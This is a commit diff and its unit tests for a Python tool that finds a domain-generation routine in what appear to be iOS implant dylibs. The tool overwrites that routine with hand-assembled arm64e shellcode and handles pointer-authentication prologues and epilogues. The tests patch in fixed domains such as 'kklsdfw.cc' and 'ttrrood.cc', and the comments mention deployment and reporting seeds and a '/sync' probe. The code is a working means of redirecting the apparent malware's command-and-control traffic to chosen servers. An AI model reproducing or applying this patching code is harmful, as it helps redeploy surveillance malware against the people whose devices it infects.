fix: ios 16
This commit is contained in:
@@ -10,11 +10,33 @@ from _common import OLD_DEP, OLD_REP, pack_seed
|
|||||||
_SUB_SP_E0 = 0xD10383FF
|
_SUB_SP_E0 = 0xD10383FF
|
||||||
_MURMUR = bytes.fromhex("21368f52e1c6b372")
|
_MURMUR = bytes.fromhex("21368f52e1c6b372")
|
||||||
_NOP = 0xD503201F
|
_NOP = 0xD503201F
|
||||||
|
_PACIBSP = 0xD503237F
|
||||||
|
_PACIBSP_ALT = 0xD503233F
|
||||||
|
_AUTIBSP = 0xD50323FF
|
||||||
|
# Standard arm64e return auth sequence used by the original helper epilogue:
|
||||||
|
# autibsp ; eor x16, x30, x30, lsl #1 ; tbz x16, #62, .+8 ; brk #0xc471 ; b <stub>
|
||||||
|
_EOR_X16_X30_LSL1 = 0xCA1E07D0
|
||||||
|
_TBZ_X16_BIT62_PLUS8 = 0xB6F00050
|
||||||
|
_BRK_C471 = 0xD4388E20
|
||||||
|
|
||||||
MAX_DOMAINS_PER_POOL = 8
|
MAX_DOMAINS_PER_POOL = 8
|
||||||
MAX_DOMAIN_LEN = 63
|
MAX_DOMAIN_LEN = 63
|
||||||
|
|
||||||
|
|
||||||
|
def _b_target(pc: int, ins: int) -> int | None:
|
||||||
|
"""Return target of an unconditional B, or None if ``ins`` is not B."""
|
||||||
|
if (ins & 0xFC000000) != 0x14000000:
|
||||||
|
return None
|
||||||
|
imm = ins & 0x3FFFFFF
|
||||||
|
if imm & 0x2000000:
|
||||||
|
imm -= 0x4000000
|
||||||
|
return pc + imm * 4
|
||||||
|
|
||||||
|
|
||||||
|
def _is_pacibsp(ins: int) -> bool:
|
||||||
|
return ins in (_PACIBSP, _PACIBSP_ALT)
|
||||||
|
|
||||||
|
|
||||||
@dataclass
|
@dataclass
|
||||||
class SlicePatch:
|
class SlicePatch:
|
||||||
file_offset: int
|
file_offset: int
|
||||||
@@ -324,6 +346,17 @@ def _collect_branch_targets(
|
|||||||
|
|
||||||
|
|
||||||
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
|
def _discover_dga(blob: bytes) -> tuple[int, int, int]:
|
||||||
|
"""Locate the PLServerPool DGA helper.
|
||||||
|
|
||||||
|
Returns ``(entry, body, end)`` where:
|
||||||
|
- ``body`` is the ``sub sp, sp, #0xe0`` prologue
|
||||||
|
- ``entry`` is the address callers actually enter (``pacibsp`` when present)
|
||||||
|
- ``end`` is the first byte *after* the replaceable region
|
||||||
|
|
||||||
|
Important: a ``b`` immediately before ``pacibsp`` is often the *previous*
|
||||||
|
function's tail branch (target ≠ body). Only treat ``b + pacibsp`` as an
|
||||||
|
8-byte trampoline when that ``b`` actually targets ``body``.
|
||||||
|
"""
|
||||||
idx = blob.find(_MURMUR)
|
idx = blob.find(_MURMUR)
|
||||||
if idx < 0:
|
if idx < 0:
|
||||||
raise SystemExit("DGA murmur constant not found")
|
raise SystemExit("DGA murmur constant not found")
|
||||||
@@ -335,12 +368,17 @@ def _discover_dga(blob: bytes) -> tuple[int, int, int]:
|
|||||||
break
|
break
|
||||||
if body is None:
|
if body is None:
|
||||||
raise SystemExit("DGA prologue not found")
|
raise SystemExit("DGA prologue not found")
|
||||||
|
|
||||||
entry = body
|
entry = body
|
||||||
if body >= 8:
|
if body >= 4 and _is_pacibsp(struct.unpack_from("<I", blob, body - 4)[0]):
|
||||||
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
|
entry = body - 4
|
||||||
ins_pac = struct.unpack_from("<I", blob, body - 4)[0]
|
if body >= 8:
|
||||||
if (ins_b & 0xFC000000) == 0x14000000 and ins_pac in (0xD503237F, 0xD503233F):
|
ins_b = struct.unpack_from("<I", blob, body - 8)[0]
|
||||||
entry = body - 8
|
if _b_target(body - 8, ins_b) == body:
|
||||||
|
# True compiler trampoline: b body; pacibsp; body
|
||||||
|
entry = body - 8
|
||||||
|
|
||||||
|
# Default span; shrink if another large-frame prologue follows.
|
||||||
end = body + 0x360
|
end = body + 0x360
|
||||||
for a in range(body + 0x80, body + 0x400, 4):
|
for a in range(body + 0x80, body + 0x400, 4):
|
||||||
if a + 4 > len(blob):
|
if a + 4 > len(blob):
|
||||||
@@ -348,6 +386,14 @@ def _discover_dga(blob: bytes) -> tuple[int, int, int]:
|
|||||||
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
|
if struct.unpack_from("<I", blob, a)[0] == _SUB_SP_E0:
|
||||||
end = a
|
end = a
|
||||||
break
|
break
|
||||||
|
|
||||||
|
# arm64e helpers keep autibsp + auth + b <stub> after the stack restore.
|
||||||
|
# Include that tail in the patch window so our shellcode owns the return.
|
||||||
|
if entry < body and end + 16 <= len(blob):
|
||||||
|
if struct.unpack_from("<I", blob, end)[0] == _AUTIBSP:
|
||||||
|
# autibsp; eor; tbz; brk; b stub (5 ins)
|
||||||
|
end = end + 20
|
||||||
|
|
||||||
return entry, body, end
|
return entry, body, end
|
||||||
|
|
||||||
|
|
||||||
@@ -394,6 +440,7 @@ def _apply_shellcode(
|
|||||||
blob: bytes,
|
blob: bytes,
|
||||||
*,
|
*,
|
||||||
entry: int,
|
entry: int,
|
||||||
|
body: int,
|
||||||
end: int,
|
end: int,
|
||||||
stubs: dict[str, int],
|
stubs: dict[str, int],
|
||||||
class_array: int,
|
class_array: int,
|
||||||
@@ -408,6 +455,10 @@ def _apply_shellcode(
|
|||||||
code: list[int] = []
|
code: list[int] = []
|
||||||
labels: dict[str, int] = {}
|
labels: dict[str, int] = {}
|
||||||
pending: list[tuple[int, str, str]] = []
|
pending: list[tuple[int, str, str]] = []
|
||||||
|
# arm64e helpers sign LR with pacibsp at the real entry (body-4).
|
||||||
|
has_pac = body >= 4 and _is_pacibsp(
|
||||||
|
struct.unpack_from("<I", blob, body - 4)[0]
|
||||||
|
)
|
||||||
|
|
||||||
def pc() -> int:
|
def pc() -> int:
|
||||||
return entry + len(code) * 4
|
return entry + len(code) * 4
|
||||||
@@ -442,6 +493,15 @@ def _apply_shellcode(
|
|||||||
emit(_enc_adrp(rd, p, abs_addr))
|
emit(_enc_adrp(rd, p, abs_addr))
|
||||||
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
|
emit(_enc_ldr64_uoff(rd, rd, abs_addr & 0xFFF))
|
||||||
|
|
||||||
|
# Match the original PAC entry when present. Starting the shellcode at the
|
||||||
|
# previous function's trailing `b` (old bug) skipped pacibsp and entered
|
||||||
|
# mid-frame-setup → crash before any /sync probe on arm64e type0x01/core.
|
||||||
|
if has_pac:
|
||||||
|
if entry == body - 8:
|
||||||
|
# True trampoline site: keep a branch into the pacibsp/body path.
|
||||||
|
emit(_enc_b(pc(), body - 4))
|
||||||
|
emit(_PACIBSP)
|
||||||
|
|
||||||
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
|
# Save every callee-saved reg we touch (x19-x22, x25). Omitting these
|
||||||
# corrupts _generateDomainsLocked and aborts before any /sync probe.
|
# corrupts _generateDomainsLocked and aborts before any /sync probe.
|
||||||
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
|
emit(0xA9BC7BFD) # stp x29, x30, [sp, #-0x40]!
|
||||||
@@ -449,7 +509,7 @@ def _apply_shellcode(
|
|||||||
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
|
emit(0xA90257F6) # stp x22, x21, [sp, #0x20]
|
||||||
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
|
emit(0xA90367FA) # stp x26, x25, [sp, #0x30]
|
||||||
emit(0x910103FD) # add x29, sp, #0x40
|
emit(0x910103FD) # add x29, sp, #0x40
|
||||||
emit(0xAA0003F3) # mov x19, x0 ; seed
|
emit(0xAA0003F3) # mov x19, x0 ; seed NSString* (x1 is domain count)
|
||||||
bl(stubs["retain"])
|
bl(stubs["retain"])
|
||||||
|
|
||||||
emit(0xAA1303E0)
|
emit(0xAA1303E0)
|
||||||
@@ -511,6 +571,12 @@ def _apply_shellcode(
|
|||||||
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
|
emit(0xA94257F6) # ldp x22, x21, [sp, #0x20]
|
||||||
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
|
emit(0xA9414FF4) # ldp x20, x19, [sp, #0x10]
|
||||||
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
|
emit(0xA8C47BFD) # ldp x29, x30, [sp], #0x40
|
||||||
|
if has_pac:
|
||||||
|
# Mirror the original arm64e return auth before the objc stub tail-call.
|
||||||
|
emit(_AUTIBSP)
|
||||||
|
emit(_EOR_X16_X30_LSL1)
|
||||||
|
emit(_TBZ_X16_BIT62_PLUS8)
|
||||||
|
emit(_BRK_C471)
|
||||||
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
|
emit(_enc_b(pc(), stubs["autoreleaseReturn"]))
|
||||||
|
|
||||||
table_off = entry + len(code) * 4
|
table_off = entry + len(code) * 4
|
||||||
@@ -602,6 +668,7 @@ def patch_fixed_domains_in_dylib(
|
|||||||
patched = _apply_shellcode(
|
patched = _apply_shellcode(
|
||||||
blob,
|
blob,
|
||||||
entry=entry,
|
entry=entry,
|
||||||
|
body=body,
|
||||||
end=end,
|
end=end,
|
||||||
stubs=stubs,
|
stubs=stubs,
|
||||||
class_array=class_array,
|
class_array=class_array,
|
||||||
|
|||||||
@@ -0,0 +1,82 @@
|
|||||||
|
"""Tests for fixed-domain DGA discovery / shellcode placement."""
|
||||||
|
|
||||||
|
from __future__ import annotations
|
||||||
|
|
||||||
|
import struct
|
||||||
|
import sys
|
||||||
|
import unittest
|
||||||
|
from pathlib import Path
|
||||||
|
|
||||||
|
TOOLS = Path(__file__).resolve().parents[1]
|
||||||
|
if str(TOOLS) not in sys.path:
|
||||||
|
sys.path.insert(0, str(TOOLS))
|
||||||
|
|
||||||
|
from _common import CORE_DYLIB, GROUP_DYLIBS # noqa: E402
|
||||||
|
from _domain_patch import ( # noqa: E402
|
||||||
|
_AUTIBSP,
|
||||||
|
_PACIBSP,
|
||||||
|
_discover_dga,
|
||||||
|
iter_slices,
|
||||||
|
patch_fixed_domains_in_dylib,
|
||||||
|
)
|
||||||
|
|
||||||
|
|
||||||
|
class DiscoverDgaTests(unittest.TestCase):
|
||||||
|
def test_group_b_entry_is_pacibsp_not_prev_tail_branch(self) -> None:
|
||||||
|
blob = GROUP_DYLIBS["B"].read_bytes()
|
||||||
|
entry, body, end = _discover_dga(blob)
|
||||||
|
self.assertEqual(body, 0x24E5C)
|
||||||
|
# Real entry is pacibsp; the word at body-8 is the *previous* function's `b`.
|
||||||
|
self.assertEqual(entry, body - 4)
|
||||||
|
self.assertEqual(struct.unpack_from("<I", blob, entry)[0], _PACIBSP)
|
||||||
|
prev_b = struct.unpack_from("<I", blob, body - 8)[0]
|
||||||
|
self.assertEqual(prev_b & 0xFC000000, 0x14000000)
|
||||||
|
# Patch window must cover the arm64e autibsp return sequence.
|
||||||
|
self.assertEqual(struct.unpack_from("<I", blob, body + 0x360)[0], _AUTIBSP)
|
||||||
|
self.assertGreater(end, body + 0x360)
|
||||||
|
|
||||||
|
def test_group_a_arm64_entry_is_body(self) -> None:
|
||||||
|
blob = GROUP_DYLIBS["A"].read_bytes()
|
||||||
|
entry, body, end = _discover_dga(blob)
|
||||||
|
self.assertEqual(entry, body)
|
||||||
|
self.assertLess(entry, end)
|
||||||
|
|
||||||
|
def test_core_arm64e_slice_entry_is_pacibsp(self) -> None:
|
||||||
|
data = CORE_DYLIB.read_bytes()
|
||||||
|
pac_hits = 0
|
||||||
|
for sl in iter_slices(data):
|
||||||
|
blob = data[sl.file_offset : sl.file_offset + sl.size]
|
||||||
|
entry, body, _end = _discover_dga(blob)
|
||||||
|
if body >= 4 and struct.unpack_from("<I", blob, body - 4)[0] == _PACIBSP:
|
||||||
|
pac_hits += 1
|
||||||
|
self.assertEqual(entry, body - 4)
|
||||||
|
self.assertGreaterEqual(pac_hits, 1)
|
||||||
|
|
||||||
|
|
||||||
|
class FixedDomainPatchTests(unittest.TestCase):
|
||||||
|
def test_group_b_shellcode_starts_with_pacibsp(self) -> None:
|
||||||
|
src = GROUP_DYLIBS["B"].read_bytes()
|
||||||
|
# Use seeds already present in the pristine type0x01.
|
||||||
|
from _common import ORIGINAL_DEPLOYMENT_SEED, ORIGINAL_REPORTING_SEED
|
||||||
|
|
||||||
|
out = patch_fixed_domains_in_dylib(
|
||||||
|
src,
|
||||||
|
["kklsdfw.cc"],
|
||||||
|
["ttrrood.cc"],
|
||||||
|
deployment_seed=ORIGINAL_DEPLOYMENT_SEED,
|
||||||
|
reporting_seed=ORIGINAL_REPORTING_SEED,
|
||||||
|
label="test-B",
|
||||||
|
)
|
||||||
|
entry, body, end = _discover_dga(src)
|
||||||
|
self.assertEqual(struct.unpack_from("<I", out, entry)[0], _PACIBSP)
|
||||||
|
# Must not overwrite the previous function's trailing branch.
|
||||||
|
self.assertEqual(
|
||||||
|
struct.unpack_from("<I", out, body - 8)[0],
|
||||||
|
struct.unpack_from("<I", src, body - 8)[0],
|
||||||
|
)
|
||||||
|
self.assertIn(b"kklsdfw.cc\x00", out[entry:end])
|
||||||
|
self.assertIn(b"ttrrood.cc\x00", out[entry:end])
|
||||||
|
|
||||||
|
|
||||||
|
if __name__ == "__main__":
|
||||||
|
unittest.main()
|
||||||
Reference in New Issue
Block a user